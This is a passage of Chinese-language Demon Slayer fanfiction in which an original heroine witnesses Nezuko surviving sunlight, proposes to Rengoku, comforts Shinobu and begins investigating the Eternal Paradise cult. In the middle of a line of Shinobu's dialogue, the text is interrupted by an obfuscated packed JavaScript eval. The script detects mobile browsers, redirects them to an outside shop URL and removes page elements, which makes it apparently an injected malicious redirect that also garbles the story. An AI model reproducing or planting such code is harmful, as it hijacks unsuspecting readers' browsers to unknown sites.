“拿去用!炭治郎,用那把刀……” 无一郎的话还没说完,从树林里窜出来的钢铁冢先生一把抓住了无一郎,愤怒让他帅气的脸上露出了狰狞的表情,他不顾一切地朝着炭治郎咆哮着:“还给我!不准用!否则我宰了你!”我和铁穴森先生努力想让钢铁冢先生平静下来,但束手无策,只能看着无一郎自己躲开了些许桎梏,大声提醒着炭治郎:“天快亮了!鬼要跑了!” 这句话让炭治郎重新回到战场,他拔出那柄日轮刀——那柄古老的、做工却极其精湛的日轮刀。这柄刀自古流传,凝聚着鬼杀队一代又一代人的信念。 只有威胁失败的钢铁冢先生捶了下无一郎的脑袋,原本就身受重伤的无一郎在受到暴击后终于无力抵抗伤痛与疲惫,应声倒下。还好我眼疾手快接住了无一郎,让他暂时靠在我腿上休息。铁穴森先生帮忙检查了失去意识的无一郎的情况,小铁慌张地指责钢铁冢先生杀了霞柱,钢铁冢先生更加惊慌。紧绷一夜的心情在这会儿缓解了些,我看向山崖之下的炭治郎,曜目的火光像是杏寿郎的火焰,但更加的赤红,红得灼眼。提刀的少年终于将刀刃砍进鬼的脖颈,焰色燎燎,他倾身旋转一周自然落地,鬼的头颅就这样落下。随之升起的光点在飘散时被渗透出夜色的阳光接替,光线泛滥出浓厚的云霭,将周边晕染成温柔的粉紫。 太阳快要升起了。漫长的夜终于将要结束,但是…… “祢豆子!” 炭治郎也终于反应过来,立刻转身向祢豆子飞快地跑去。山崖下是空旷的平缓地带,几乎没有任何遮蔽,一旦被阳光晒到…… “不……不……” 危机永远不会单独前来。时刻关心着妹妹的哥哥永远无法第一时间注意到自己身后的危机[?],但从来关心人类,与任何鬼都不同的祢豆子却看得一清二楚,她将自己的危机抛在脑后,追着冲向哥哥的身后……炭治郎拦住了她,直到妹妹竭力指向身后,他才终于发现……那个被斩断头颅的鬼又一次站了起来,正追逐着那三个刀匠。它没死。那不是本尊。不对、还是不对。 想要快速了解的心已经无比迅捷,可速度还是赶不上光明的骤现。太阳不知何时已经越过了远处的山坳,纯洁无瑕的金光以肉眼无法辨别的速度覆盖了整片山谷,任何一棵草、一朵花、一块石头或者一片树木都不会变成例外,因为阳光之下众生向来平等,它均等地赐福每一个人光与热。但是—— “祢豆子!炭治郎!”看着身上已经被阳光照射到的祢豆子,我尖叫起来。可我的方位并没有能够下到山下的路径,如果攀岩下去,我的手伤又无法支持这一系列的动作。怎么办!怎么办!被阳光照射到的鬼会死……祢豆子……泪水已经涌上眼眶,恐惧 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没有人能责怪炭治郎的犹豫。祢豆子是他在这世上仅存的家人,他是为了祢豆子才坚定地行走在灭鬼的道路上的,为了拯救祢豆子,为了给家人报仇。如果失去祢豆子,一切的意义都会改变。我用力擦干眼泪,寻找着手枪,对准奔跑的鬼射击。可瞄准时我才发现自己抖得厉害,手臂几乎举不稳,眼睛捕捉到的一切更是摇晃着叠出重影。如果不能击中就不能开枪,鬼的面前还有三个刀匠,没有百分百的信心我决不能尝试。没有人可以接受失败的代价。 ——到底要怎么办! “杏寿郎!快去救她啊!”我无措地只能寻找最信任的人获得帮助,声音因为哽咽而含糊不清,绝望比希望更难战胜,一旦它出现,就必然占领精神的高地。好痛苦……这种无论如何改变不了的感觉好痛苦……[这个呢] 但祢豆子比任何人都勇敢。 她不顾自己的疼痛一脚将保护自己而深陷犹豫的哥哥踢开,捏紧拳头抵在胸口,强忍着露出笑容。看着她身上逐渐残损漆黑、失去活性的皮肤,对于鬼的愤怒无以复加地挤压着我的心脏。神明啊,你为何如此残忍?她原本应该是一个普通的女孩子,与家人过着平凡却幸福的一生。为什么被惩罚的不是始作俑者和那些吃人的魔鬼,而是毁灭一个不曾伤害任何人甚至一直在帮助人们的受害者?鬼……鬼真的太可恨了,鬼该死! 妹妹为他做出选择,炭治郎绝不违背妹妹的心愿,即使付出的代价是如此之大。他眼含着热泪,不再迟疑地冲向追逐着刀匠的鬼。用分身的□□作为屏障,依然存活的本体驱使着它依靠本能进行狩猎,再强大的鬼在想要活下去时都一样狼狈。这一次,绝对不会失败! 红色的少年高高跃起,一刀斩下鬼抓住刀匠的双臂,紧接着转身将刀刃送向那具身躯。锋利的利器轻而易举将之斩半,一个极小的鬼掉了出来。炭治郎已经看清了它的所在,利落地看向那被隐藏起的脖子。汹涌的火浪迎着刀尖扑向鬼,终于将它彻底斩首。随着刀刃上的火焰逐渐熄灭,鬼也化作一阵烟尘散了开去。 炭治郎剧烈地喘息着,他无力地倒下,却不敢直视祢豆子的方向。 太阳已经完全升起了。 跪在地上失声痛哭的炭治郎浑然未觉,但我们看到的场景却是任何前人都无法想象到的震撼。从没有一个鬼像祢豆子……泪水在这一夜已经出现太多次,可依然没有枯竭,我控制不住那种流泪的冲动,这是身体本能带来的反应。祢豆子、祢豆子……在阳光下再一次站立起来的少女皮肤依然洁白无瑕,阳光落在她的身上,晕染了薄薄的金光。这次没有疼痛和眼泪,甚至不再有伤害,她完整地站了起来,一步又一步平稳地走向自己的哥哥。长发被风扬起,粉色的眼瞳纯稚无比,常年咬住以遏制咬人欲望的竹筒这会儿落到地上,可她齿间那几颗尖利的能够轻易咬下血肉的牙齿却不再带有让人毛骨悚然的危险感。 这对命运坎坷的兄妹对视着,许久、许久之后,才听到祢豆子尝试着发出声音:“早上好!” 我们互相搀扶着寻找下山的道路,对于这一切的发生,不可置信的感受就像听到了那种着实荒谬的编造故事。可一切都是真实的!杏寿郎和蜜璃也姗姗来迟,他们赶到我们身边。我们都在阳光下,每个人都活着,没有任何人死去。我们紧紧抱在一起,激动与兴奋的情绪荡漾在整片山谷。 “太好了!” “太好了!” 祢豆子也活了下来。她不再惧怕阳光,能够在阳光下行走,和人类没有什么不同。不用再将她藏在箱子里,不用再让她咬住竹筒,不用再担心她会失控。虽然不知道前路究竟会怎么样,但这无疑是改变的一大步,也是让祢豆子变回人类的一大步。无论如何,还活着就太好了! 我不断擦着从眼眶滑落的泪珠,杏寿郎走到我的身边,他似乎发现了我的伤口,小心翼翼地轻握住手臂上没有伤的位置,将我半揽进怀里。那一天……确定他能活下来的那一天,我也是这么想的,还活着就太好了!剩下的所有困难,我们都可以一起面对。 内心中那突然出现的冲动就这样控制了我。我扑进杏寿郎的怀里时忽然在他耳畔迅速地轻声说道:“我们结婚吧!” 这大约也是我长久以来一直真正思考的心愿。结婚吧,从此我不再只是我,而他也不再只是他,我们会组合成一个全新的但更完整的家庭,从此变成我们。我们携手共进,面对一切,纵然是生死,也无所畏惧。[求婚要画吧] 我抱住他,泪水洇湿了他的肩头。 我不确定杏寿郎有没有听清,他没有说话,只是更用力地回抱住我。 51. 千年一瞬 等我们终于回到刀匠村后,终于后知后觉地感到疲惫,我困得睁不开眼,身上哪里都开始隐隐作痛。只来得及去房间里扒拉出装了药品的箱子给村民们,就闷头摔进被褥里沉沉睡去。 刀匠村的实际情况并没有想象中那么糟糕。 虽然发动袭击的是两个上弦之鬼,但最终主战场都被牵制在荒僻的山林之中,对刀匠村的村民们实质造成伤害的大多来自于玉壶召唤出的那些怪物,但在无一郎将他斩首后,它们也就消失了,没有造成巨大的伤亡。要说最严重的,该是被玉壶做成“艺术品”的几位刀匠。但幸好我随身携带了“来世”,虽然存量不多但勉强够用。优先给重伤的人员使用后,顺利地救下了大家的性命。虽然代价或许会是在床上躺上很久很久,甚至可能留下不轻的后遗症,但对于大家来说,能够活着才是最幸运的事。 相比起来受损最大的是建筑,村民们已经着手进行修缮重建。 等我醒来的时候已经到了中午。房门合着,灿烂的光线从推门的木格中漏出,纷纷扬扬地扑在席上,屋外有零星几句说话的声音。我揉着眼走出去,一拉开门,阳光就刺眼地盖了过来,在我门口的游廊上坐着杏寿郎和无一郎。他们倒没有说话,只是静静坐着喝茶,听见我拉开门的声音又统一转过头看向我。 “中午好。”还没休息够,我打着呵欠在他们中间坐下,“两位休息得怎么样?”杏寿郎没受什么伤,倒是无一郎,我转向他又特意问道:“无一郎呢?伤治疗过了吗?” 原本冷漠得有些置身事外的霞柱大人,好像听不见外界的声音,也不关注外界的变化,但在现在我看向他时,他雨后晴空般的双眼中透亮无比,倒映出我清凌凌的身形。他露出一个笑容,这让他看起来终于有些了十四五岁少年人的实感,“已经没事了。” “那个针上带有的毒呢?”我当然没忘了这个,不仅是那些飞针,还有螃蟹划伤我手臂的钳子上同样带有毒素,会在短时间内发作,肢体麻痹无力。我下意识想摸自己的伤口,但手还没触到,杏寿郎就抓住了我的手腕,“不要碰。”他很严肃地说道。 啊——其实不算什么大事来着,至少现在看来的确不是……但是杏寿郎看着并不像是没事的样子,我也就顺从了。但衣袖滑下,我还是看见手臂上裹着干净的纱布。已经换过药了。 “天音夫人请蝶屋前来支援了。”无一郎解释道。 鎹鸦在战斗结束后就将好消息带去了主公身边,考虑到受伤最严重的炭治郎都还站得起来,原本大家只想简单休整后就回到鬼杀队本部。但替主公大人处理事务的天音女士出于谨慎考虑还是请忍带着蝶屋前来援助。 “已经来了吗?”也是,毕竟是大规模的入侵,请蝶屋前来治疗支援对于刀匠村现下的形势来说再好不过。 杏寿郎摇摇头,从蝶屋过来还是需要一些时间的。 不过我想起刀匠村重建的工程量,有心想去询问村长是否需要有栖川家提供一些物资和人力上的支持,就站起身。杏寿郎和无一郎没说什么,倒是跟着我一起站起来,我们三人就一块儿朝村子里走去。路过正在整理的一处铸剑工坊时,没怎么受伤还生龙活虎的杏寿郎主动上前去帮忙了,留下无一郎陪着我。 无一郎就像黏人的小猫一样一直紧紧跟在我身边。他从前空洞无神、仿佛能够看透人灵魂的双眼现在亮晶晶的,脸上也出现柔和的表情,不再拒人千里之外仿佛置身另一个世界。 他似乎想和我说些什么,但在我看过去时,只是平静地垂下眼眸。 “怎么了吗?”我主动开启话题问道。 他这才将目光移到我脸上,先是摇摇头,又沉默了会儿才说道:“来世,那个药……效果真好。” 虽然先前杏寿郎重伤的时候前来探望的几位柱大人都知道“来世”的存在,但毕竟那是已经在杏寿郎身上起效后的状态。这次应该是亲眼看到了来世是如何被注入重伤的人身体中,而那些血肉又是如何带有思维般生长直到愈合。 “能够活下去,就很好了,对吧?”他轻声问我,语气专注。 我一时竟然不知要如何回答,只想起杏寿郎曾说过关于无一郎的过往。兄长在自己眼前逐渐丧失温度的时候,他是否也想过如果有一种能够救下兄长的药…… “是啊!”我应答着,用力点点头! 能够活着,就是最好的结局。 我们也都是为了能够一起活下去、能够毫无隐患地站在太阳或者月亮之下,才这样拼尽全力。 虽然刀匠村地理位置优越,有木有石,在重建上并不缺少资源,但毕竟刚刚受到袭击,不少村民需要休养。简单地讨论了一番有栖川家能提供的帮助内容后,我才带着无一郎回到住处,正巧碰到玄弥走出来。玄弥的伤也不太严重。但他似乎没有使用我留下的任何一种特效药,无论内服还是外涂,等大家发现的时候他已经好得差不多了……我察觉到违和感,不过杏寿郎表情有些讳莫如深,我也就没有询问。 玄弥看见我们不知道要不要上前打招呼,我就率先向他开口了。他僵硬地点点头,犹豫般在原地站了会儿,给自己鼓足勇气他才下定了决心似的向我走近几步,向我展示手掌上躺着的手枪。 “咦?”我不解。 玄弥一鼓作气地问道:“这个子弹。还有吗。” “啊……还有的!”我下意识想伸手去摸,想起换下衣服后随身携带的枪弹都在屋内,有些不好意思地同他解释晚些再拿给他。 玄弥点点头,并不介意。我已经看出他不擅长和女生说话,这会儿脸红红的,视线无论如何不肯放在我身上。 “效果如何呢?”我问道。 虽然在对阵玉壶时我已经测试过几枪,但大多时候是用来解决它的壶和召唤物,并没有太多直击鬼的机会。唯一的那一次后,玉壶很快变换了形态,没再压抑自己的力量,伤口究竟如何也就无法观察了。但是玄弥不同,他和任何一个鬼杀队成员一样奋斗在灭鬼的一线,再加上昨天夜里对战上弦之四的经历,无疑是采集样本的最好机会。鬼之间有着区别大如鸿沟的差异,影响到方方面面,上弦与下弦,甚至上弦每一级别的鬼之间都有着巨大的不同。 时至今日,我们的目标已经只剩下更为强大的上弦之鬼,尤其是上三弦……当然还有那个鬼王。虽然与上弦之三的猗窝座有过短短的接触,但对于他的血鬼术了解得还是不够透彻,而再上的两个鬼究竟叫什么名字长什么模样有什么能力,更是一无所知。如果特质武器的效用能够在上弦四的身上发挥,那么对于更强大的上三应该也有着效果,即使效果微弱,也能造成损伤。毕竟一只蚂蚁噬咬的痛感虽微弱,无数蚂蚁却能轻易置人于死地。 玄弥直直地望着正前,“击中之后,鬼受伤的地方很久没有愈合。可能是弹片一直卡在血肉中的缘故。比之前的几次都要强力。” 这样嘛。我沉思着改进方向,一时没有回答。 “如果、如果开枪的时候像使用呼吸法一样,将斗气附加在子弹上,效果会不会更好?”玄弥自顾自地说下去,但这番话却敏锐地炸中我的神经!我竟然从来没有往这个方向思考过!可能因为枪械设计时优先考虑了像我这样的普通人使用,于是就自然而然地忘记了呼吸法的存在。 而这一批新的子弹,弹壳铸造时刀匠们使用了锻造日轮刀的技法,在某种意义上是与日轮刀相似的制品。如果这样说的话,原钢色的弹壳是不是经由不同的呼吸法使用者会变成不同的颜色? 我情不自禁握拳击掌,欣喜地看向玄弥:“天啊!玄弥你说得太对了!我竟然没想过这个!谢谢你!” 他愣了愣,立刻垂下视线死死盯着自己的双脚,嗯嗯啊啊地应了两声,又着急忙慌地说道:“我不能使用呼吸法,帮不上忙,你可以问问别的人。”说着就跑掉了,耳朵红得要滴血。 他是一个很好很好的孩子。不知道他和风柱大人之间究竟发生了什么,让一对互相关心着对方的兄弟隐藏起自己的真心。 说起来……我看向身边的无一郎,学着杏寿郎每次的动作那样摸了摸他的发顶,他奇怪地看着我,我对他笑着弯弯眼睛。使用特效药解毒后,无一郎大多伤势是借助呼吸法治愈的,他脸颊上原本被针扎破的地方现在皮肤已经长合,连疤痕都没留下什么。我把他劝去休息了,虽然他看着不太需要,但疲惫感像消极情绪会积攒在身体的任何地方。 独自坐在游廊上安静思考的时刻并没有很漫长,过了不多久蜜璃也走出房间。她在我边上坐下才一会儿,我只来得及关心了她的伤势,边上一间屋子的推门被轻轻拉开,弥豆子从里面走了出来。她看见我们就开心地张开手臂扑了过来,我把她接到怀里抱住。弥豆子昨天夜里真的辛苦啦,就一个上午的时间显然不够她休息的,不多时就又像小孩子一样枕在我腿上睡着了。她一只手松松地握成拳头抵在嘴边,嘴唇微微张开一道缝隙,正在轻轻地呼吸。属于鬼的尖齿像虎牙一样微微露着,明明应该是让人恐惧的利器,在她的身上却显得有些可爱。 原本和我并肩坐着的蜜璃绘声绘色手脚并用地说着昨天的战斗。她一边描述着上弦之四的分裂体融合成的“憎珀天”长着什么样子,一边配上自创的拟声词说他每敲击一下身后的鼓就能催动木龙般的攻击,他能操纵雷电和声音攻击,有一双看着充满怨恨的眼睛。 “而且啊!而且!他竟然叫人家泼妇!你知道吗朝和酱,他竟然叫我泼妇啊!”蜜璃告状般伏在我肩头抱怨,泪眼汪汪地控诉。说着说着声音也慢慢轻了下去,这会儿太阳暖融融的,把我们像一块棉花糖似的晒化了,吃饱之后得到补充的体力不再压制疲惫,困倦也就卷土重来。我肩上一重。蜜璃靠在我肩膀上沉沉地睡着了。 我摸了摸她们俩的头发。 忍是在这时候走进来的。 蝶屋的护理人员神崎葵跟在身后,另外三个孩子没有一起来,隐的成员已经秩序井然地将部分伤员抬进来。这边算是唯一完好无损的院子,被合理利用为蝶屋的暂时救助处。 而忍微笑的面容在看到沐浴在阳光下的祢豆子时陡然僵硬。她许久没有动,怔怔地看着她,表情有一瞬间变得无比茫然,好像站在一个第三者的视角旁观着这一切,但又无论如何都弄不清情况。那双迷蒙的梦一样幻丽的眼睛眨了眨。那一刻她究竟在想什么呢?我不知为何想起忍的经历,她和她的姐姐。 “这是……怎么回事?”但很快她眼中闪过一丝奇异的光彩,走近些后轻轻问道。 任何一个人都会为弥豆子身上这堪称奇迹的景象震惊。我把大致的情况告诉了她。 紫色的发尾在风中微微扫动,而她脑后那蝴蝶般的发饰也在风中轻轻扇动翅膀,栩栩如生。 蜜璃睡得仰倒在地,我们都来不及护住她,她就已经一头栽了下去,瞬间痛得从梦里醒来。满脸茫然地摸着后脑坐起,对上我和忍无措的表情,蜜璃又立刻一改神情,欣喜地扑过去抱住她:“哇啊——小忍!小忍竟然过来了!” 忍还是很不擅长处理热情,温和地拍了拍蜜璃的后背以作安慰。蜜璃已经完全不困了,开始重复方才对我表演的战斗展现。忍听得聚精会神。 “……小忍……” 一个细嫩的仿佛牙牙学语的声音响起。不甚流利地组织着发音,唇舌的运用略显生涩。 蜜璃收住声,四下便寂静一片,只是再响起一声:“……小忍……”语末带了点快乐的笑意。 是祢豆子。她睡醒了,只是还乖乖地趴在我腿上,粉色的眼睛却紧紧看着面前的忍与蜜璃。她在学蜜璃说话,因为已经认出胡蝶忍。 “祢豆子!你也还记得小忍嘛!”蜜璃激动得就像第一次看见孩子会叫妈妈一样,原本半抱住忍的双臂展开,压着忍扑向我和祢豆子,把我们一起抱进怀里。重力作用下,我们四个便失衡地倒向游廊——“等、等等!唔……”荣幸被压在最下的我忽而失语,但并不是因为重或疼痛,只是学着蜜璃的样子,也用力抱住她们。[四个可爱鬼抱抱可以画] 就这么压了会儿,在我快要感到费力之前忍终于出声终止了面前的画面,还没休息够的蜜璃和祢豆子被我们安排着继续去屋内休息,而我跟着忍去到一间空屋。那里已经被布置成简单的药房,各式药品与器械一一摆开,我有很多话想和她说。 刀匠村的事忍已经知道得差不多了。只有祢豆子的情况比较特殊,她或许是这世界上第一个也是唯一一个不畏惧阳光且保留着理智的鬼。对于认识祢豆子的我们而言这自然是一个好消息,我们不需要担忧祢豆子会被日光所伤,也证明了当初大家对于灶门兄妹的接纳是正确的决定。但对于那些鬼呢?我从前听说鬼们千百年来一直试图寻找一种叫作“青色彼岸花”的药材。据说它能改变鬼惧怕日光的弱点,让它们成为真正的强大且无所畏惧的生物。 这太荒谬了。 但从没有一个鬼找到过丝毫关于“青色彼岸花”线索。父亲也曾耗费巨大人力在国外各地寻找,但同样一无所获。“青色彼岸花”究竟是真实存在的物品还是一个代指? “她会成为新的目标。一个替代青色彼岸花的目标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613449|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”忍这样说。 我能感受到忍对于鬼的疏离与憎恶,掩藏在她看似云淡风轻的表情下,对于鬼的敌意从不因为鬼的性格而改变分毫,在听到珠世小姐时是这样,哪怕面对祢豆子也同样。她试着寻找人与鬼能够和谐共处的方法,试着改变鬼的习性,但她始终戒备地认为鬼是没有理性且最终都会陷入没有理性的本能。她之所以会这样,是因为她的姐姐——她最后唯一的家人。 得知蝴蝶忍的姐姐花柱大人也是被鬼所杀害后,我曾状若无意地——我怕她又想起难过往事,也怕自己的言辞冒犯——问起过一次那个鬼的样子。杏寿郎说忍赶到时只来得及见到姐姐最后一面,逐渐洒满天地的日光为那张苍白美丽的容颜镀上一层金边。她希望忍能退出鬼杀队,像一个平凡女孩子一样度过一生,被忍拒绝后最终无奈地告知了她鬼的相貌。 那是一个午后,昏暗的药房内她留给我一个背影,手上动作不停地调配药剂,一种溶液被倒进另一支试管,扑通扑通的泡沫炸裂声紧密响起。她声音冷涩地说起鬼的样子——白发、彩色的眼瞳、僧侣的打扮、玩世不恭的笑容与故作温柔的音调、上弦之二——不知为何那瞬间我仿佛看见了花柱的样子,和蝴蝶忍很像的五官,长发散落,笑起来弯起双眼。但很快那个人影就像天边的云一样轻飘飘地淡去了,没有留下任何痕迹。 忍陷入沉默。 “忍……”我开口叫她,但还是跟着一言不发。 她紧紧握着拳头,两只手绞在一起,像一团扎根在一处的根系,扭曲地缠成一片。 我仿佛看见她眼中一闪而过的水光,但很快随着她用力闭上眼的动作消失不见。 “抱歉……”她咽下那些话,因为尾音已经沾染上失控的音调,固执地撇开脸,似乎不想让我看到她脸上显露出的情绪。她在等待这一天吗?或许已经期盼这一天的来临很久了,上弦之二……与姐姐的离世构筑成她不可触碰的噩梦后,蝴蝶忍是否也想着无论如何都要报仇呢?哪怕付出生命? 我走上前紧紧抱住她,蝴蝶忍瘦弱的身体蕴含着巨大的能量,她是深不可测的一汪深潭,她不需要别人看透她。但我……我只是因此感到难过,许多人的一生都被鬼摧毁了。他们还活着,却只是看起来还活着。 忍沉默了许久,才缓缓把手搭上我的脊背,安慰似的抚摸了下。 从忍那里离开后,大脑一直叫嚣着让我要做些什么。 可我实在不明所以,只觉得思绪紊乱,搅动着感受,让自己眼前可见的一切如同一片海潮翻涌,花白的潮卷着无数意识,与我的呼吸失调,忽近忽远。 这感受已经影响了我的心跳,让它变成一蓬乱糟糟的烟火。我分明看着它升起,炸开,无数色彩交错,而落下的沙尘已经砸在身上,连燃烧尽的焦臭都簇拥在鼻腔。可我始终听不见那声音,仿佛被隔绝在我的听觉之外,远得如同在另一片天地。 我的灵魂与□□成为两个独立的体系,各自拥有吵闹的意识与思考的能力,手脚分别为政,大脑兀自呼吸,心跳如困囹圄。再这样下去我总有一秒会因为窒息而死,身体已经不受控地冲了出去。 在刀匠村中行走,看着那些坍圮的建筑,与倒塌的树林,一个又一个在这些日子中已经变得熟悉起来的村民正卖力劳动。看见我,他们便展露出友善的笑容与我打起招呼,“有栖川小姐”,他们大多这样称呼我,有家人受伤而得到药物治疗的人更是热泪盈眶地拉住我的手——“实在是太感谢了!有栖川小姐!如果不是您……如果没有您在……”——他们用力地与我双手交握,身体的颤抖便绵延而来,仿佛触动我的心脏跟着一起颤抖。但我其实又做了什么呢?对于活着的人而言,能够活着是毕生之幸,但对于死去的人而言……或许大家要用一生的漫长来缅怀这份伤痛。 原本还能强自微笑、做出一副世事安好的样子,可这念头一旦萌发,我便难以自持。它扎根在我思想的土壤,深深扎进大脑之中,与意识混杂在一起,顷刻间就生长成我无法忽略的样子。 我只能胡乱地应答着,不敢与他们任何对视般慌忙跑开。 方才忍同我说的话逐渐在大脑中浮现。 她说鬼王鬼舞辻无惨是存活超过千年最初的鬼之始祖,自平安时代起就已经行走在日本大地。 “他……曾经是产屋敷家族的一员。” “产屋敷?那不就是主公大人的……!” 忍点点头。 “他是产屋敷家族的污点与耻辱,主公乃至主公全族,也是因为他的存在而被诅咒,后代全部体弱多病,男孩尤其,很多出生不久就会夭折,即使活到成年也没有一个人能活过30岁。” 据说接受他的血后,人类就有可能变成鬼,而鬼的强弱与他给予的血多少有关。但每一个转化成功的鬼体内都埋藏着来源于血的咒缚,那是一种只要鬼开口说出鬼王的名字或者所在就会立刻发作并且死亡的诅咒。而鬼舞辻无惨也可以通过那个咒缚定位到鬼的所在,并且与之共享五感与记忆。 “他现在,一定已经知道祢豆子的变化了。” 祢豆子已经变成一个显眼的标志。 那个鬼王一定会倾尽一切寻找到祢豆子并且毁灭鬼杀队。 但对于鬼杀队而言,这同样也是最好的机会。 主公大人、炭治郎、小忍、杏寿郎、各位柱大人、各个鬼杀队的成员,每一个知道鬼的存在或者受鬼所害的人类,也都在等待着这一刻。 ——我还能做些什么呢? 母亲曾说这是我的坏毛病。将看见的一切感同身受并且视为自己的责任,努力消耗着自己去承担重担,付出可付出的一切尝试改变现状。父亲说这是一种无私的精神,但这精神像一种无法治疗的疾病,顺着我的血液在身体的每一处蔓延,它会和我的呼吸生长在一起,最后又像菟丝子一样把我绞死。 我不明白,我只知道每个人都有自己存在的意义。而我,或许就是为了帮助鬼杀队灭杀恶鬼,让这片土地变得再次安宁。我甚至没有想得那么多,我早在很久以前就已经知道自己的能力拥有极限,我不可能帮助每一个人,我想要的很少——我只想让我的朋友们健康平安地活下去,活到我们一起看见最美的日出。 已经付出了那么多。 无论如何,我不会放弃。我要竭力把握住已有的,争取可及的,审视远处的。 心脏正因为我的跑动而迎合着身体机能快速跳动,怦怦声鼓胀在整个胸腔,让我体会到一种饱满的暖意。我明白自己活着的用意,一切纷至沓来皆有其存在的道理。 52. 教化无理 又休息了两日,手臂上的伤好得差不多了后,我和杏寿郎离开了刀匠村。我们选择了与来时不同的道路,只因为杏寿郎的餸鸦为我们送来了新消息——是来自肖恩的传信。信上说他已经查到关于“万世极乐教”的些许信息,但资料中显示这个宗教很有些隐秘,还有些不可为人所知的事迹,因为特地提前送信过来,向我询问接下来的安排。 刀匠村的修缮缓步推进,有栖川家的物资送到村民们可以前去搬运并且不会影响到刀匠村隐蔽位置的地方。这两天休息后蜜璃最先离开,她率先去鬼杀队向主公汇报情况;紧接着是无一郎,他的伤也完全恢复了,找回从前记忆的无一郎比以往任何时候都要轻松;玄弥是在某天夜里离开的,离开前他来找我拿了许多子弹;炭治郎和弥豆子则还在养伤,但伤势不算太重,他们也准备着离开刀匠村回去鬼杀队复命;而忍还要多留两天观察重伤的人员。 我们一大早就启程离开。 初夏的山间昼夜温差不小,清晨的露水很重,在山林里走不了多久就能感觉到衣角潮湿,连眼睫都粘连起来,如同悬挂着霜露,沉甸甸地睁不开。我伏在杏寿郎背上,任他背着。 路途到了最近的能通车的地方,肖恩和嘉泽乐已经等待我们许久。 在锻刀村时古旧、避世的环境总让人觉得周围的一切都是虚幻的,又经历了那天如此紧张刺激的上弦入侵,无论是之前的安静还是之后的休养都跟在梦里一样。但坐上车后,重回人间的感觉便久违地袭来。杏寿郎从嘉泽乐手中接过资料查看起来,我靠过去偎在他身旁,就着他的手阅读纸张上的内容。 第一页是万世极乐教的介绍,很简单,和那天我在茶楼里遇到的那个传教人说的没什么两样,夹在纸页上的一张相片上站着三个年轻男人,他们穿着类似牧师服的西洋款式服装,在阳光下笑着看向镜头。背景是一座修筑精致的二层小楼,和式风格,檐下贴着不少写有“极乐”二字的纸质装饰。 看起来很和谐。 “以初步调查来看,万世极乐教并没有什么特别的。”肖恩解释道,“万世极乐教的信徒大多是一些饱经苦难、生活贫苦的人,教派中的成员统一接纳他们,并且提供帮助。” 我拿起一张照片。相片是近代的产物,意味着出现的时间是在可追溯的期限内,你可以看得见,也可以摸得着,说不定还经历过、是其中的一员。这张相片拍摄的是万世极乐教的工作人员正在向信徒布施,提供食物,或者诊断治疗。诚如肖恩所说,的确没什么特别的, 但是……一股违和感涌上心头,挤在我嘴边,我一时不知该如何形容。到底是哪里不对劲…… “被救助的信徒都是女性。” 杏寿郎仿佛知道我心里在想什么,他将其他几张相片一同递给我,神情平静地开口说明了这其中的不对劲。 是的,是的! 我一张一张分辨过这些照片,无论是教友正在救助信徒的场面,还是聚集在宗教集会的信徒们,能够出现在画面之中的非宗教成员,几乎全部都是女性。我心口猛跳了一下,宗教只要牵扯上女性就容易演变成灾难,那天那个传教士的话也就在这时缓缓浮上心头——他们的教祖认为只有女性更值得被拯救——真的是拯救吗? “正是如此。”嘉泽乐接过话头,“万世极乐教并不怎么对外传教,教徒人数似乎一直被有意地控制在250余人左右,信众大多是女性,而教内的僧侣则大多是男性。”安定的时间过得太久,我都快忘了我的嘉泽乐是个战斗女仆。她不仅负责我的衣食住行,还是必要时刻保证我人身安全的最后一道锁。这次的调查任务正是嘉泽乐和肖恩一起推进的。 在察觉到万世极乐教对于女性信徒的区别对待后,肖恩自然没办法深入派上什么用场。于是嘉泽乐顺理成章地加入进来,她简单地化了妆,削减了五官的西洋感,摇身一变成了一个日英混血的独身女子,孤寂而无助地出现在万世极乐教的所在的寺院附近。她怯生生地以无意间路过的名义询问是否可以参观,精致的寺院中教徒并不多,以男性成员为主,也有一些信徒正在寺院中参拜祈祷。 万世极乐教的寺院与任何宗教不同,宽阔雄伟的正殿内没有设置任何一个“神明”的塑像,没有佛祖菩萨,也没有耶稣和十字架。正中搭建而出的稍高台阁上空无一物,但信徒们如同看见了真正的神一样虔诚地跪拜在蒲团上,念念有词地祈祷着。 那她们在拜什么呢? “以万世极乐教的教义来看,他们坚信自己的教祖能够与神沟通。每隔一段时间教徒们就可以面见教祖,亲自聆听教祖的教导,也能有机会向教祖祈祷。”嘉泽乐示意我们翻过资料,后面的纸页不是相片也不是文字,而是线条简单却清晰的图画,勾勒出万世极乐教所在的寺庙与大殿的样子。看着很像清水寺……以建筑风格来看像是京都这一块儿的古典建筑。 “听起来很不妙啊。”我感慨道,这不就跟那种邪教什么的越来越像了吗?专门欺骗艰难求生的无辜女子什么的。 肖恩补充道:“小姐,还有一件事。追溯来源时我们才发现,万世极乐教实际上存在已经有数百年了。能追寻到的最早记录也已经是在一百多年前。” 一百多年前?“这种毫无根据的宗教也能流传这么久?”我大吃一惊,我对宗教抱有的态度是不支持也不反对,但我对于时间流逝的残忍还是略有体会的,一个足够强大的王朝能在时间的长河里屹立不倒两百余年已经不易,以中国最负盛名的大唐来举例,也不过290年的岁月。 宗教的发展向来是搭配政权的同步推进的,要么是执掌政权,要么作为政权的点缀,只有这样,才能在人民中得到大幅度地推广,让众人相信、信以为真、成为信仰。 但是万世极乐教……没有相关的传说体系搭配,没有构建神的形象让信徒倾注感情,没有扩张而是始终控制着规模,教义也直白得像是一句玩笑话,它与世间其他任何长久流传的宗教都不相同,却一样在日本蔓延了几百年!太夸张了……夸张到让我觉得不可思议,这之后必然有着无法言说的秘密。 而秘密的真相似乎已经掌握在我手中,我无意识地搓了搓手指。 